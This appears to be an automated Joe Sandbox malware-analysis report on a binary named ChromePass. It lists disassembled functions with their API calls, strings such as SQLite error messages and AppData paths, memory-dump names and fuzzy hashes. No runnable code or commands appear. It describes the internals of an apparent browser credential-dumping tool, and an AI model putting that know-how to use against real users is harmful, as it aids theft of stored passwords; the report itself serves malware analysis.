COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

sqlite_master, xrefs: 004213B0
d, xrefs: 0042153E

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID:
String ID: d$sqlite_master
API String ID: 0-2024178973
Opcode ID: fd87d88d8173a76365dedaef42ca68be072c9ea8b686464921c50fd662290fb9
Instruction ID: 26b11de5f6bb12c0c6a6b2ac4e126577f77fe26de064d4a84f2ce22cd1c4592d
Opcode Fuzzy Hash: fd87d88d8173a76365dedaef42ca68be072c9ea8b686464921c50fd662290fb9
Instruction Fuzzy Hash: C0818C716083229FCB10DF25E88051FBBE4AFA4358F94096FF88596261D738CD85CB9A

Function 0040244F Relevance: 10.6, APIs: 5, Strings: 2, Instructions: 83
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

memset.MSVCRT ref: 00402476
wcslen.MSVCRT ref: 004024AD
wcslen.MSVCRT ref: 004024BA
wcslen.MSVCRT ref: 004024F6
wcslen.MSVCRT ref: 00402503

Part of subcall function 00404D63: wcscpy.MSVCRT ref: 00404D6B
Part of subcall function 00404D63: wcscat.MSVCRT ref: 00404D7A

Strings

Local Settings\Application Data, xrefs: 004024B2, 004024B7, 004024C9
AppData\Local, xrefs: 004024FB, 00402500, 0040251A

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: wcslen$memsetwcscatwcscpy
String ID: AppData\Local$Local Settings\Application Data
API String ID: 3932597654-2996314811
Opcode ID: 69e01f8076d3b357dd7e221ab67cb876b231f79aa770a8d6094f68b35eb08fdc
Instruction ID: 06701e109a7cb230437e1991fe34eff5cd467569b5a47b7ee8921bcf04c6820e
Opcode Fuzzy Hash: 69e01f8076d3b357dd7e221ab67cb876b231f79aa770a8d6094f68b35eb08fdc
Instruction Fuzzy Hash: 1321877294411DABDB10EB50DE8AACDB7A9AF10319F5000BBE908F31C1EB785F448A59

Function 004230D6 Relevance: 9.4, APIs: 1, Strings: 5, Instructions: 390
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

strlen.MSVCRT ref: 00423400

Strings

too many columns in result set, xrefs: 00423501
no tables specified, xrefs: 004234AB
no such table: %s, xrefs: 0042349E
%s.%s, xrefs: 004233E9
>B, xrefs: 00423299, 00423462, 00423392, 0042317D

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: strlen
String ID: %s.%s$no such table: %s$no tables specified$too many columns in result set$>B
API String ID: 39653677-4135391130
Opcode ID: 2a54dacd3136a16c71cc0564ebcf3d1b3cccd856b24915ac04d2e1659a7a1fe4
Instruction ID: 2fe2712b2c084e770219046fa2d6f9b8a09801a94f1ee17c50ed802ec21f6b52
Opcode Fuzzy Hash: 2a54dacd3136a16c71cc0564ebcf3d1b3cccd856b24915ac04d2e1659a7a1fe4
Instruction Fuzzy Hash: A0E16071A00229EFDF15DF95E4806AEB7B1BF48315F64809BE805AB351D73CAE81CB58

Function 0040A919 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 52
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0040A8EA: LoadLibraryW.KERNEL32(shell32.dll,0040A928,?), ref: 0040A8F8
Part of subcall function 0040A8EA: GetProcAddress.KERNEL32(00000000,SHGetSpecialFolderPathW), ref: 0040A90D

SHGetSpecialFolderPathW.SHELL32(00000000,00000000,0000001C,00000000,?), ref: 0040A93C
memset.MSVCRT ref: 0040A958
RegCloseKey.ADVAPI32(?,00A524F0,?,?,?,?,?), ref: 0040A98F
wcscpy.MSVCRT ref: 0040A99E

Part of subcall function 00404D2E: GetVersionExW.KERNEL32(004355D8,00A524F0,0040A937,?), ref: 00404D48

Strings

@%@, xrefs: 0040A95D, 0040A977, 0040A960

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: AddressCloseFolderLibraryLoadPathProcSpecialVersionmemsetwcscpy
String ID: @%@
API String ID: 2699640517-301254053
Opcode ID: c85f144fac34b3a79468d4b7e9426a826a46006cdde34c786ca7b16a021c4ff8
Instruction ID: b7cd3f15b71cd0ad239d335dfb1030cea571aafd2f0d5927420644d2378f0aab
Opcode Fuzzy Hash: c85f144fac34b3a79468d4b7e9426a826a46006cdde34c786ca7b16a021c4ff8
Instruction Fuzzy Hash: E601B1B2500218AEEB21B755EC4AEAF737DDF84314F20047BF909B1081EA785E519A6A

Function 0040D302 Relevance: 7.6, APIs: 5, Instructions: 95
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileW.KERNELBASE(?,?,?,00000000,?,?,00000000), ref: 0040D379
free.MSVCRT ref: 0040D391
memset.MSVCRT ref: 0040D3E2
free.MSVCRT ref: 0040D3F3

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: free$CreateFilememset
String ID:
API String ID: 2788672648-0
Opcode ID: 16eabc54f8117ac22137bdf6d5286ec79333c897b9022d702143434dc562c034
Instruction ID: 54aeaa6a2a1cf82cd853e95d5e6fbbb13f587397237ff6230706a4c831c0e42a
Opcode Fuzzy Hash: 16eabc54f8117ac22137bdf6d5286ec79333c897b9022d702143434dc562c034
Instruction Fuzzy Hash: AC21E472E10215ABEB109FA5ED02B9E3BA0AB00714F25413AFD05F72C1D6788D14979A

Function 004094D3 Relevance: 7.6, APIs: 5, Instructions: 59
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

??2@YAPAXI@Z.MSVCRT(00000420,00000000,?,?,?,004097B7), ref: 004094F2
??2@YAPAXI@Z.MSVCRT(00000D08,00000000,?,?,?,004097B7), ref: 00409522
DeleteObject.GDI32(?), ref: 00409546
GetModuleHandleW.KERNEL32(00000000,00000000,?,?,?,004097B7), ref: 0040958C
LoadIconW.USER32(00000000,00000065), ref: 00409595

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ??2@$DeleteHandleIconLoadModuleObject
String ID:
API String ID: 659443934-0
Opcode ID: 413f477a48ca695b15e951cecf6be7b012c71d6df656ba6907d2bf537f542b32
Instruction ID: 1f32562663df79b2ec97770a1dd64008754b28810ad5a2be0de314d305e9853f
Opcode Fuzzy Hash: 413f477a48ca695b15e951cecf6be7b012c71d6df656ba6907d2bf537f542b32
Instruction Fuzzy Hash: 01118EB1A017049FC720AF76AC49697BBE8EF40714F914A2FE05E93252DF7964118B5C

Function 0041FE26 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 119
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 0042A7BB: strlen.MSVCRT ref: 0042A7E2

strlen.MSVCRT ref: 0041FE75

Part of subcall function 0041DF67: memcpy.MSVCRT(0000001C,0042AD04,00000000), ref: 0041E032

strlen.MSVCRT ref: 0041FF1F

Strings

sqlite_attach, xrefs: 0041FEB2
sqlite_detach, xrefs: 0041FECC

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: strlen$memcpy
String ID: sqlite_attach$sqlite_detach
API String ID: 3396830738-2911676521
Opcode ID: cbd989dd5f3dfdd19fe536a7f8247246f5a83751997b85c6d5ef52342c090b33
Instruction ID: 9f800a9b43953b92a13c2d88aa0105c020479341f39a39680abb38540f6e8e79
Opcode Fuzzy Hash: cbd989dd5f3dfdd19fe536a7f8247246f5a83751997b85c6d5ef52342c090b33
Instruction Fuzzy Hash: 8D312FF1F002D83EDF11A9658D41FFF3959DF01309F850067FC0849552D9994E9692AF

Function 0040CE7A Relevance: 6.1, APIs: 4, Instructions: 57fileCOMMON

Download Yara Rule

APIs

SetFilePointer.KERNELBASE(?,?,?,00000000), ref: 0040CE9E
GetLastError.KERNEL32 ref: 0040CEA9
ReadFile.KERNELBASE(?,?,?,?,00000000), ref: 0040CECB

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: File$ErrorLastPointerRead
String ID:
API String ID: 64821003-0
Opcode ID: cac00678367dc1ffc0cc365e7784bde4dd87dc4686d4e8b9d5d24541141ca56f
Instruction ID: 69adeb8de98025fbfa3a48c9e10f36df1da8062b63096b4fa0374bb7a0929c9d
Opcode Fuzzy Hash: cac00678367dc1ffc0cc365e7784bde4dd87dc4686d4e8b9d5d24541141ca56f
Instruction Fuzzy Hash: A8016D72600109FBDB208F68DC86BAB77ADEB043A0F604632F915E76D0D674DD119BE9

Function 0040A849 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

FindResourceW.KERNELBASE(?,?,?), ref: 0040A856
SizeofResource.KERNEL32(?,00000000), ref: 0040A867
LoadResource.KERNEL32(?,00000000), ref: 0040A877
LockResource.KERNEL32(00000000), ref: 0040A882

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Resource$FindLoadLockSizeof
String ID:
API String ID: 3473537107-0
Opcode ID: ff310cec3ba99e44ab855ab72765dfe61c206a8eafc61545917f87ef2000338e
Instruction ID: 14b3a58c3e0c40f06e12b542eb8fbad9b2c2feec5bc92fc1ebff960accc3b51d
Opcode Fuzzy Hash: ff310cec3ba99e44ab855ab72765dfe61c206a8eafc61545917f87ef2000338e
Instruction Fuzzy Hash: 410184327003156BCB256F95DC8995BBF6AFF85391748D03AEC05DA2A1D770C826CE88

Function 0040A5A3 Relevance: 6.1, APIs: 4, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 0040A5CF

Part of subcall function 0040525E: _snwprintf.MSVCRT ref: 004052A3
Part of subcall function 0040525E: memcpy.MSVCRT(?,00000000,00000006,00000000,0000000A,%2.2X ,?), ref: 004052B3

WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 0040A5F8
memset.MSVCRT ref: 0040A602
GetPrivateProfileStringW.KERNEL32(?,?,0042C47C,?,00002000,?), ref: 0040A624

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: PrivateProfileStringmemset$Write_snwprintfmemcpy
String ID:
API String ID: 1127616056-0
Opcode ID: e9e10e8cb14a7a64c4e0591c319302b2ca7c101559e5a295d32660d09392f7ff
Instruction ID: ab0931b25c1428f86abda644c0656466488a97ae6d1ae9063eea14835faf6012
Opcode Fuzzy Hash: e9e10e8cb14a7a64c4e0591c319302b2ca7c101559e5a295d32660d09392f7ff
Instruction Fuzzy Hash: 4A115272600129AFDF116F64EC46E9F7B7AEF04710F5001AAFF05B2161E6359A608F9D

Function 0042B4CF Relevance: 6.0, APIs: 4, Instructions: 25COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(00910048), ref: 0042B4D9
??3@YAXPAX@Z.MSVCRT(00A55230), ref: 0042B4E9
??3@YAXPAX@Z.MSVCRT(00A55A40), ref: 0042B4F9
??3@YAXPAX@Z.MSVCRT(00A55638), ref: 0042B509

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ??3@
String ID:
API String ID: 613200358-0
Opcode ID: 0ee1d2b0c1280dbc801e71a030d8bf5446004e25de82375410634bcceb9cf6b6
Instruction ID: 41a27a77a8f01ec54f2a8e4239e88027dc7e4243a076cdd9c04db82e030c68a2
Opcode Fuzzy Hash: 0ee1d2b0c1280dbc801e71a030d8bf5446004e25de82375410634bcceb9cf6b6
Instruction Fuzzy Hash: 1CE046B0300731979A20AF3ABC80B0733CCAB003583A4A42FF800E7792CF6CDA5080AC

Function 004242F4 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 925COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00424337
memset.MSVCRT ref: 0042468B

Strings

0, xrefs: 004244E0

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset
String ID: 0
API String ID: 2221118986-4108050209
Opcode ID: afa524593e9d91b979767dc81998a397cf429524672ae6708b168924c117268a
Instruction ID: 1bda766ad6d0aac7714e86e791de8d56a862efed9bf5a6160e1af08104b98622
Opcode Fuzzy Hash: afa524593e9d91b979767dc81998a397cf429524672ae6708b168924c117268a
Instruction Fuzzy Hash: 4A825770E00218AFDF10DFA9D881BEEBBB5EF48304F54406AE915A7351D739AE81CB59

Function 0040963E Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 74COMMON

Download Yara Rule

APIs

_wcsicmp.MSVCRT ref: 00409689
SetCursor.USER32(?,?,?,0040985A,/deleteregkey,/savelangfile), ref: 004096E4

Strings

/stext, xrefs: 00409684

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: Cursor_wcsicmp
String ID: /stext
API String ID: 58899023-3817206916
Opcode ID: 68701aeda6eea5332dba1a685ae2aa12d02637ce021e0d2fc59aca4fedb7f462
Instruction ID: 69e08b379d7359d5704747f81b5d423444406abbf3e9f2900bc54df1756a9f17
Opcode Fuzzy Hash: 68701aeda6eea5332dba1a685ae2aa12d02637ce021e0d2fc59aca4fedb7f462
Instruction Fuzzy Hash: 59216D752142009FD700EF66C88595A77E9EFC8324F14457FFC09DB692DA7AA8018B69

Function 0040595B Relevance: 5.1, APIs: 4, Instructions: 51COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000000,00405A0B,00401F52,?,?), ref: 00405995
??2@YAPAXI@Z.MSVCRT(00000000,00000000,00405A0B,00401F52,?,?), ref: 004059B3
??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00405A0B,00401F52,?,?), ref: 004059D1
??2@YAPAXI@Z.MSVCRT(00000000,00000000,00000000,00000000,00405A0B,00401F52,?,?), ref: 004059EF

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: ??2@
String ID:
API String ID: 1033339047-0
Opcode ID: 0e90696c28a97b768179aa07cb3710ff6ae6b02484a7f1fe566f4b362b124399
Instruction ID: f1e19045f2d6afe60d2eb8405ad52210b2a3be0a5fa56beb63964390426f5968
Opcode Fuzzy Hash: 0e90696c28a97b768179aa07cb3710ff6ae6b02484a7f1fe566f4b362b124399
Instruction Fuzzy Hash: FD011EB13417015FE758DB38ED47B6A3690A788358F51713EA907CD1F8EE7448448B48

Function 00423EAC Relevance: 4.7, APIs: 1, Strings: 2, Instructions: 160COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00423EF2

Strings

a GROUP BY clause is required before HAVING, xrefs: 00423FA2
aggregate functions are not allowed in the GROUP BY clause, xrefs: 0042405C

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset
String ID: a GROUP BY clause is required before HAVING$aggregate functions are not allowed in the GROUP BY clause
API String ID: 2221118986-906175814
Opcode ID: 42f1c003817d01f76a7b329de239f2fa39b0c8ee80e8011f9a6698d2256356b1
Instruction ID: d6fdc162a0bdf933e5a7984ebb5e25948f3a11b5483ce83de42664a05e09de92
Opcode Fuzzy Hash: 42f1c003817d01f76a7b329de239f2fa39b0c8ee80e8011f9a6698d2256356b1
Instruction Fuzzy Hash: 7F51AF71A083119FC720DE25E981A5BB7F4AF88319F95081FF88587342D73CEA45876A

Function 00421CCC Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 141COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00421CF0

Strings

statement too long, xrefs: 00421D13
e, xrefs: 00421D8A

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memset
String ID: e$statement too long
API String ID: 2221118986-303685292
Opcode ID: 794dd4ba030559d7e74f9912c9dd4bfa6078ac8d3ca22890e26558b5c9222f75
Instruction ID: b19cad5e121c7a63733cb21393a521153f1a01f8c8e8d0239ac9277f8eaca46a
Opcode Fuzzy Hash: 794dd4ba030559d7e74f9912c9dd4bfa6078ac8d3ca22890e26558b5c9222f75
Instruction Fuzzy Hash: 01518671A00228EFDF21DF54DC91BDE77B4AF15304F5000ABE90867251D7786E85DB99

Function 00421733 Relevance: 4.6, APIs: 2, Strings: 1, Instructions: 103COMMON

Download Yara Rule

APIs

atoi.MSVCRT(00000000,sqlite_master,?,?,?,?,00421871,?,00000003,?,00000000,00000000,?), ref: 0042179C
atoi.MSVCRT(00000000,sqlite_master,?,?,?,?,00421871,?,00000003,?,00000000,00000000,?), ref: 0042181E

Strings

sqlite_master, xrefs: 0042174B, 004217B0

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: atoi
String ID: sqlite_master
API String ID: 657269090-3163232059
Opcode ID: f5aa0c6a605ab96f8dc057e4af25762ce8ae3f246fd78d67583255fa01c05cdf
Instruction ID: 30ef85cfd03b586ed0434af1063668c4d226d1f32ee0794736749da60052fe85
Opcode Fuzzy Hash: f5aa0c6a605ab96f8dc057e4af25762ce8ae3f246fd78d67583255fa01c05cdf
Instruction Fuzzy Hash: C0313A32704251AFDB259F22E881B26B7D1EFA4314F64402FE8058B271DB39E841C7D9

Function 0042A7BB Relevance: 4.6, APIs: 1, Strings: 2, Instructions: 85stringCOMMON

Download Yara Rule

APIs

strlen.MSVCRT ref: 0042A7E2

Part of subcall function 0041DF67: memcpy.MSVCRT(0000001C,0042AD04,00000000), ref: 0041E032

Strings

bad parameters, xrefs: 0042A83C
Unable to delete/modify user-function due to active statements, xrefs: 0042A81F

Memory Dump Source

Source File: 0000000F.00000002.1785877139.0000000000401000.00000040.00000001.01000000.00000010.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000F.00000002.1785852695.0000000000400000.00000002.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000434000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785877139.0000000000437000.00000040.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1785976206.000000000043B000.00000080.00000001.01000000.00000010.sdmpDownload File
Associated: 0000000F.00000002.1786004329.000000000043C000.00000004.00000001.01000000.00000010.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_15_2_400000_ChromePass.jbxd

Similarity

API ID: memcpystrlen
String ID: Unable to delete/modify user-function due to active statements$bad parameters
API String ID: 3412268980-1262664748
Opcode ID: 4750ac4f64df20fe14f20581181399b441305fd699aa432eca9752a195267de7
